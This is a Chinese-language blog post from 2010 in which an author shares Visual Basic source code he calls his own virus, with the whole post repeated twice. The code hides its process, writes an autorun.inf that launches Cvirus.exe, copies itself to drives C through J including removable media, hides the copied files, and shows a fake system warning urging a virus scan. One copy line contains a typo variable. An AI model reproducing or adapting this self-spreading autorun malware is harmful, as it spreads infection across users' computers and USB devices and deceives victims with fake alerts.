VB编程
2010年05月13日
正在工作中,,,,,,有空就写入我最近编写的病毒源代码.解释下,此病毒属于自动制造垃圾到各个盘(电脑硬盘CDEF等等,也可以制造到可移动的U盘,MP3,MP4,移动硬盘等)
我是 CRole
大家一起学习VB
以下是 代码:
Sub Main()
App.TaskVisible = False '隐藏进程
On Error Resume Next
Open App.Path & "autorun.inf" For Output As #1
Print #1, "[AutoRun]"
Print #1, "open = Cvirus.exe"
Print #1, "shellexecute = Cvirus.exe"
Print #1, "shell\Auto\commang = Cvirus.exe"
Close #1
'========================================
Dim c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, _
c14, c15, c16, c17, c18, c19, c20, c21, c22, c23, c24, c25, _
c26, c27, c28, c29, c30, c31, c32, c33, c34, c35, c36, c37, c38, c39, c40
'----------------------------------------在C盘生成空的Cvirus.exe文件
c1 = App.Path & "\Cvirus.exe"
c2 = "c:\Cvirus.exe"
FileCopy c1, c2
'----------------------------------------在C盘生成autorun.inf文件
c3 = App.Path & "\autorun.inf"
c4 = "c:\autorun.inf"
FileCopy c3, c4
'----------------------------------------在D盘生成空的Cvirus.exe文件
c5 = App.Path & "\Cvirus.exe"
c6 = "d:\Cvirus.exe"
FileCopy c5, c6
'----------------------------------------在D盘生成autorun.inf文件
c7 = App.Path & "\autorun.inf"
c8 = "d:\autorun.inf"
FileCopy c7, c8
'----------------------------------------在E盘生成空的Cvirus.exe文件
c9 = App.Path & "\Cvirus.exe"
c10 = "e:\Cvirus.exe"
FileCopy c9, c10
'----------------------------------------在E盘生成autorun.inf文件
c11 = App.Path & "\autorun.inf"
c12 = "e:\autorun.inf"
FileCopy c11, c12
'----------------------------------------在F盘生成空的Cvirus.exe文件
c13 = App.Path & "\Cvirus.exe"
c14 = "f:\Cvirus.exe"
FileCopy c13, c14
'----------------------------------------在F盘生成autorun.inf文件
c15 = App.Path & "\autorun.inf"
c16 = "f:\autorun.inf"
FileCopy c15, c16
'----------------------------------------在G盘生成空的Cvirus.exe文件
c17 = App.Path & "\Cvirus.exe"
c18 = "g:\Cvirus.exe"
FileCopy c17, c18
'----------------------------------------在G盘生成autorun.inf文件
c19 = App.Path & "\autorun.inf"
c20 = "g:\autorun.inf"
FileCopy c19, c20
'----------------------------------------在H盘生成空的Cvirus.exe文件
c21 = App.Path & "\Cvirus.exe"
c22 = "h:\Cvirus.exe"
FileCopy c21, c22
'----------------------------------------在H盘生成autorun.inf文件
c23 = App.Path & "\autorun.inf"
c24 = "h:\autorun.inf"
FileCopy c123, c24
'----------------------------------------在I盘生成空的Cvirus.exe文件
c25 = App.Path & "\Cvirus.exe"
c26 = "i:\Cvirus.exe"
FileCopy c25, c26
'----------------------------------------在I盘生成autorun.inf文件
c27 = App.Path & "\autorun.inf"
c28 = "i:\autorun.inf"
FileCopy c27, c28
'----------------------------------------在J盘生成空的Cvirus.exe文件
c29 = App.Path & "\Cvirus.exe"
c30 = "j:\Cvirus.exe"
FileCopy c29, c30
'----------------------------------------在J盘生成autorun.inf文件
c31 = App.Path & "\autorun.inf"
c32 = "j:\autorun.inf"
FileCopy c31, c32
'----------------------------------------隐藏所有生成的文件
Call SetAttr(App.Path & "\Cvirus.exe", vbHidden)
Call SetAttr(App.Path & "\autorun.inf", vbHidden)
Call SetAttr("c:\Cvirus.exe", vbHidden)
Call SetAttr("c:\autorun.inf", vbHidden)
Call SetAttr("d:\Cvirus.exe", vbHidden)
Call SetAttr("d:\autorun.inf", vbHidden)
Call SetAttr("e:\Cvirus.exe", vbHidden)
Call SetAttr("e:\autorun.inf", vbHidden)
Call SetAttr("f:\Cvirus.exe", vbHidden)
Call SetAttr("f:\autorun.inf", vbHidden)
Call SetAttr("g:\Cvirus.exe", vbHidden)
Call SetAttr("g:\autorun.inf", vbHidden)
Call SetAttr("h:\Cvirus.exe", vbHidden)
Call SetAttr("h:\autorun.inf", vbHidden)
Call SetAttr("i:\Cvirus.exe", vbHidden)
Call SetAttr("i:\autorun.inf", vbHidden)
Call SetAttr("j:\Cvirus.exe", vbHidden)
Call SetAttr("j:\autorun.inf", vbHidden)
If MsgBox("警告:您的计算机受到了病毒的入侵是否立即进行杀毒!", vbQuestion + vbYesNo, "系统提示") = vbYes Then
Form1.Show
End If
End Sub
===========================================================
2010年05月13日
正在工作中,,,,,,有空就写入我最近编写的病毒源代码.解释下,此病毒属于自动制造垃圾到各个盘(电脑硬盘CDEF等等,也可以制造到可移动的U盘,MP3,MP4,移动硬盘等)
我是 CRole
大家一起学习VB
以下是 代码:
Sub Main()
App.TaskVisible = False '隐藏进程
On Error Resume Next
Open App.Path & "autorun.inf" For Output As #1
Print #1, "[AutoRun]"
Print #1, "open = Cvirus.exe"
Print #1, "shellexecute = Cvirus.exe"
Print #1, "shell\Auto\commang = Cvirus.exe"
Close #1
'========================================
Dim c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, _
c14, c15, c16, c17, c18, c19, c20, c21, c22, c23, c24, c25, _
c26, c27, c28, c29, c30, c31, c32, c33, c34, c35, c36, c37, c38, c39, c40
'----------------------------------------在C盘生成空的Cvirus.exe文件
c1 = App.Path & "\Cvirus.exe"
c2 = "c:\Cvirus.exe"
FileCopy c1, c2
'----------------------------------------在C盘生成autorun.inf文件
c3 = App.Path & "\autorun.inf"
c4 = "c:\autorun.inf"
FileCopy c3, c4
'----------------------------------------在D盘生成空的Cvirus.exe文件
c5 = App.Path & "\Cvirus.exe"
c6 = "d:\Cvirus.exe"
FileCopy c5, c6
'----------------------------------------在D盘生成autorun.inf文件
c7 = App.Path & "\autorun.inf"
c8 = "d:\autorun.inf"
FileCopy c7, c8
'----------------------------------------在E盘生成空的Cvirus.exe文件
c9 = App.Path & "\Cvirus.exe"
c10 = "e:\Cvirus.exe"
FileCopy c9, c10
'----------------------------------------在E盘生成autorun.inf文件
c11 = App.Path & "\autorun.inf"
c12 = "e:\autorun.inf"
FileCopy c11, c12
'----------------------------------------在F盘生成空的Cvirus.exe文件
c13 = App.Path & "\Cvirus.exe"
c14 = "f:\Cvirus.exe"
FileCopy c13, c14
'----------------------------------------在F盘生成autorun.inf文件
c15 = App.Path & "\autorun.inf"
c16 = "f:\autorun.inf"
FileCopy c15, c16
'----------------------------------------在G盘生成空的Cvirus.exe文件
c17 = App.Path & "\Cvirus.exe"
c18 = "g:\Cvirus.exe"
FileCopy c17, c18
'----------------------------------------在G盘生成autorun.inf文件
c19 = App.Path & "\autorun.inf"
c20 = "g:\autorun.inf"
FileCopy c19, c20
'----------------------------------------在H盘生成空的Cvirus.exe文件
c21 = App.Path & "\Cvirus.exe"
c22 = "h:\Cvirus.exe"
FileCopy c21, c22
'----------------------------------------在H盘生成autorun.inf文件
c23 = App.Path & "\autorun.inf"
c24 = "h:\autorun.inf"
FileCopy c123, c24
'----------------------------------------在I盘生成空的Cvirus.exe文件
c25 = App.Path & "\Cvirus.exe"
c26 = "i:\Cvirus.exe"
FileCopy c25, c26
'----------------------------------------在I盘生成autorun.inf文件
c27 = App.Path & "\autorun.inf"
c28 = "i:\autorun.inf"
FileCopy c27, c28
'----------------------------------------在J盘生成空的Cvirus.exe文件
c29 = App.Path & "\Cvirus.exe"
c30 = "j:\Cvirus.exe"
FileCopy c29, c30
'----------------------------------------在J盘生成autorun.inf文件
c31 = App.Path & "\autorun.inf"
c32 = "j:\autorun.inf"
FileCopy c31, c32
'----------------------------------------隐藏所有生成的文件
Call SetAttr(App.Path & "\Cvirus.exe", vbHidden)
Call SetAttr(App.Path & "\autorun.inf", vbHidden)
Call SetAttr("c:\Cvirus.exe", vbHidden)
Call SetAttr("c:\autorun.inf", vbHidden)
Call SetAttr("d:\Cvirus.exe", vbHidden)
Call SetAttr("d:\autorun.inf", vbHidden)
Call SetAttr("e:\Cvirus.exe", vbHidden)
Call SetAttr("e:\autorun.inf", vbHidden)
Call SetAttr("f:\Cvirus.exe", vbHidden)
Call SetAttr("f:\autorun.inf", vbHidden)
Call SetAttr("g:\Cvirus.exe", vbHidden)
Call SetAttr("g:\autorun.inf", vbHidden)
Call SetAttr("h:\Cvirus.exe", vbHidden)
Call SetAttr("h:\autorun.inf", vbHidden)
Call SetAttr("i:\Cvirus.exe", vbHidden)
Call SetAttr("i:\autorun.inf", vbHidden)
Call SetAttr("j:\Cvirus.exe", vbHidden)
Call SetAttr("j:\autorun.inf", vbHidden)
If MsgBox("警告:您的计算机受到了病毒的入侵是否立即进行杀毒!", vbQuestion + vbYesNo, "系统提示") = vbYes Then
Form1.Show
End If
End Sub
===========================================================